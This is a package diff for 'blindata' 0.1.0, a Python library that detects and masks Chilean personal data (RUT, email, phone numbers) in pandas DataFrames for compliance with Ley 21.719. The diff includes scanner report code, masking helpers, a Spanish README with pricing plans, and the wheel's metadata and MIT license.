+        print(f"  Tipos detectados:   {', '.join(resumen['tipos_encontrados'])}")
+
+    print("\n" + "-" * 72)
+    print(f"  {'Columna':<20} {'Tipo detectado':<25} {'Sensibilidad':<15} {'Tasa'}")
+    print("-" * 72)
+
+    indicadores = {
+        "personal": "🔴 Personal",
+        "personal_contacto": "🟡 Contacto",
+        "sensible": "🔴 Sensible",
+        "sin_riesgo": "🟢 Sin riesgo",
+    }
+
+    for col, info in reporte["columnas"].items():
+        tipo = info["tipo_detectado"] or "—"
+        sens = indicadores.get(info["sensibilidad"], info["sensibilidad"])
+        tasa = ""
+        if "tasa_deteccion" in info.get("detalle", {}):
+            tasa = f"{info['detalle']['tasa_deteccion']:.0%}"
+        print(f"  {col:<20} {tipo:<25} {sens:<15} {tasa}")
+
+    print("-" * 72)
+
+    if resumen["columnas_con_pii"] > 0:
+        print(f"\n  ⚠️  Se detectaron {resumen['columnas_con_pii']} columna(s) con datos personales.")
+        print("  Según la Ley 21.719, estos datos requieren protección antes de su tratamiento.")
+    else:
+        print("\n  ✅ No se detectaron datos personales con los patrones actuales.")
+
+    print("=" * 72 + "\n")
+
+
+# ============================================================
+# 5. FUNCIONES AUXILIARES (PRIVADAS)
+# ============================================================
+
+def _enmascarar_rut(rut: str) -> str:
+    """Enmascara un RUT para mostrarlo en reportes sin exponer el dato real."""
+    limpio = rut.replace(".", "").replace("-", "").replace(" ", "")
+    if len(limpio) < 4:
+        return "***"
+    return f"**.***.{limpio[-4:-1]}-{limpio[-1]}"
+
+
+def _enmascarar_generico(texto: str) -> str:
+    """Enmascara un texto dejando solo los primeros y últimos 2 caracteres."""
+    if len(texto) <= 4:
+        return "***"
+    return texto[:2] + "*" * (len(texto) - 4) + texto[-2:]
+
+
+def _es_columna_analizable(serie: pd.Series) -> bool:
+    """
+    Determina si una columna vale la pena analizar para PII.
+    """
+    dtype_name = serie.dtype.name
+
+    if dtype_name in ("object", "category", "str", "string"):
+        return True
+
+    if serie.dtype == object or serie.dtype == str:
+        return True
+
+    return False
+
+
+# ============================================================
+# 6. PUNTO DE ENTRADA RÁPIDO
+# ============================================================
+
+def quick_scan(df: pd.DataFrame) -> None:
+    """
+    Atajo para escanear e imprimir el reporte en una sola línea.
+
+    Uso en Jupyter:
+        >>> from blindata.scanner import quick_scan
+        >>> quick_scan(df)
+    """
+    reporte = scan(df)
+    imprimir_reporte(reporte)

blindata-0.1.0.dist-info/METADATA

@@ -0,0 +1,171 @@
+Metadata-Version: 2.4
+Name: blindata
+Version: 0.1.0
+Summary: Compliance Toolkit para Data Analysts — Ley 21.719, Chile. Blindaje para tus datos.
+Author-email: Daniela Inostroza <contacto@blindata.cl>
+License: MIT
+Project-URL: Homepage, https://blindata.cl
+Project-URL: Repository, https://github.com/inostroza-Daniela/blindata
+Project-URL: Documentation, https://github.com/inostroza-Daniela/blindata#readme
+Project-URL: Issues, https://github.com/inostroza-Daniela/blindata/issues
+Keywords: datos-personales,compliance,ley-21719,chile,anonimización,privacidad,APDP,PII,RUT,data-analyst,pandas,proteccion-datos,blindata
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: Science/Research
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Natural Language :: Spanish
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Scientific/Engineering :: Information Analysis
+Requires-Python: >=3.10
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: pandas<3.0,>=2.0
+Provides-Extra: dev
+Requires-Dist: pytest<9.0,>=7.0; extra == "dev"
+Requires-Dist: pytest-cov<7.0,>=4.0; extra == "dev"
+Dynamic: license-file
+
+# 🛡️ Blindata
+
+![Tests](https://github.com/inostroza-Daniela/blindata/actions/workflows/tests.yml/badge.svg)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
+[![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](https://opensource.org/licenses/MIT)
+
+**Blindaje para tus datos — Compliance Toolkit para Data Analysts, Data Scientists y ML Engineers en Chile**
+
+Blindata es una librería Python que detecta **datos personales chilenos** en tus DataFrames y los enmascara, para que puedas trabajar con datasets respetando la **Ley 21.719** de Protección de Datos Personales.
+
+```python
+from blindata import Blindata
+
+bd = Blindata()
+bd.scan(df).mostrar()
+df_seguro = bd.proteger(df)
+```
+
+```
+  Columna              Tipo detectado             Sensibilidad    Tasa
+  ─────────────────────────────────────────────────────────────────────
+  rut_paciente         RUT (Rol Único Tributario) 🔴 Personal      100%
+  email                Correo electrónico         🟡 Contacto      100%
+  telefono             Teléfono celular chileno   🟡 Contacto      100%
+  edad                 —                          🟢 Sin riesgo
+
+  ⚠️  Se detectaron 3 columna(s) con datos personales.
+```
+
+---
+
+## ¿Por qué Blindata?
+
+La **Ley 21.719** entra en vigencia el **1 de diciembre de 2026**. Aplica a toda organización que trate datos personales de residentes en Chile. Multas de hasta **20.000 UTM**.
+
+Las herramientas existentes (Microsoft Presidio, DataFog, pii-anonymizer) están diseñadas para inglés y GDPR/HIPAA. No reconocen RUT, FONASA, AFP, ISAPRE ni Clave Única.
+
+**Blindata** llena ese vacío. Blindaje para tus datos.
+
+### Marco regulatorio que cubre Blindata
+
+- **Ley 21.719** — Protección de Datos Personales (vigente diciembre 2026). Clasificación, reportes APDP, DPIA.
+- **Ley 21.663** — Marco de Ciberseguridad (vigente marzo 2025). Complementaria para operadores de importancia vital y sus proveedores.
+- **Ley 20.584** — Derechos del Paciente. Protección de datos clínicos y de salud.
+
+---
+
+## Community (este paquete, gratis)
+
+✅ Validador RUT con algoritmo Módulo 11 (algoritmo oficial SII).
+✅ **3 detectores regex**: RUT, email, teléfono celular chileno.
+✅ Enmascaramiento (`12.345.678-5 → **.***.678-5`).
+✅ Sanitización contra **CSV injection** (formula injection).
+
+## Pro ([blindata.cl](https://blindata.cl))
+
+🔒 **12 tipos de PII chileno**: agrega nombres de personas, datos de salud, comunas/direcciones, patentes vehiculares, AFP/previsional, ISAPRE, datos bancarios, Clave Única e identificadores SII/tributarios.
+🔒 **Clasificación legal sectorial** (Ley 21.719, Ley 21.663, Ley 20.584) con elevación de riesgo por sector (salud, banca, gobierno, educación, retail).
+🔒 **Pseudonimización y anonimización** con múltiples métodos según nivel de sensibilidad.
+🔒 **Reporte PDF de cumplimiento APDP** (Art. 14 quinquies).
+🔒 Dashboard web con historial, multi-usuario e integraciones.
+
+---
+
+## Planes
+
+| | Community | Starter | Professional | Business | Enterprise |
+|---|---|---|---|---|---|
+| **Precio** | **Gratis** | $59 USD/mes | $149 USD/mes | $349 USD/mes | [Conversemos](mailto:contacto@blindata.cl?subject=Cotización%20Enterprise%20Blindata) |
+| **Detectores** | 3 | 12 | 12 | 12 | 12 + custom |
+| **Datasets/mes** | Ilimitados | 10 | 35 | 150 | A medida |
+| **Filas por dataset** | Sin límite | 10.000 | 50.000 | 250.000 | A medida |
+| **Reportes PDF/mes** | — | 5 | 20 | 80 | A medida |
+| **Clasificación sectorial** | — | 1 sector | Todos | Todos | A medida |
+
+Community es gratis para siempre. No es un trial. Sin tarjeta de crédito.
+
+---
+
+## Instalación
+
+```bash
+pip install blindata
+```
+
+Requiere Python 3.10+.
+
+---
+
+## Uso
+
+```python
+import pandas as pd
+from blindata import Blindata
+
+df = pd.read_csv("mi_dataset.csv")
+
+bd = Blindata()
+resultado = bd.scan(df)
+resultado.mostrar()
+
+# Enmascarar columnas detectadas
+df_seguro = bd.proteger(df)
+df_seguro.to_csv("dataset_seguro.csv", index=False)
+```
+
+---
+
+## Roadmap
+
+| Feature | Estado |
+|---------|--------|
+| Community: scan + enmascaramiento | ✅ v0.1.0 |
+| Tests pytest + CI GitHub Actions | ✅ v0.1.0 |
+| `SECURITY.md` con política de divulgación | ✅ v0.1.0 |
+| Auditoría de seguridad (14 vulnerabilidades corregidas) | ✅ v0.1.0 |
+| Pro: 12 detectores + clasificación + PDF | 🚧 En desarrollo |
+| Dashboard web (React) | 🚧 En desarrollo |
+| Soporte multi-ley (21.719, 21.663, 20.584) | 🚧 En desarrollo |
+| Internacionalización (Colombia, Perú, México) | 🔮 |
+
+---
+
+## Contribuir
+
+Ver [CONTRIBUTING.md](CONTRIBUTING.md). Para vulnerabilidades de seguridad, ver [SECURITY.md](SECURITY.md).
+
+## Licencia
+
+[MIT](LICENSE). El paquete propietario `blindata-pro` (closed source) tiene licencia comercial y se distribuye solo con el SaaS.
+
+## Autora
+
+**Daniela Inostroza** — Noesis SpA
+[blindata.cl](https://blindata.cl)
+
+---
+
+*Una línea de código entre tu análisis y una multa.*

blindata-0.1.0.dist-info/RECORD

@@ -0,0 +1,9 @@
+blindata/__init__.py,sha256=4DKv7nXnONQaya7bZeqUO-KwhV_rp_CDLoDxLN2Avk0,628
+blindata/core.py,sha256=gEOP5a-hRee1Mr2UFfj4WRP93XDo-VABOBPGpU9mRM8,16325
+blindata/protector.py,sha256=fw43Cp24aftxo3Ebf3DdKk0rvS1u_lplYFvmOZ3RMsw,6419
+blindata/scanner.py,sha256=DxIUOAsz0r4aEb1EqdS9daKaH0WHJmY_mRHy5HfDaC4,14804
+blindata-0.1.0.dist-info/licenses/LICENSE,sha256=WSE9mkGMOlw5YKfNxP4MkPRKmx5znWtGl7OZnBxuFGk,1087
+blindata-0.1.0.dist-info/METADATA,sha256=csNN9YChjF-NiZgdog60z_L7ZbuJiMfo6mRovvodnzg,6625
+blindata-0.1.0.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91
+blindata-0.1.0.dist-info/top_level.txt,sha256=0BKG6BJKrHIuC8t-0w_ckUJLLvF9fhZ2XZkVJ5CL2BE,9
+blindata-0.1.0.dist-info/RECORD,,

blindata-0.1.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (83.0.0)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

blindata-0.1.0.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Daniela Inostroza — Blindata
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

blindata-0.1.0.dist-info/top_level.txt

@@ -0,0 +1 @@
+blindata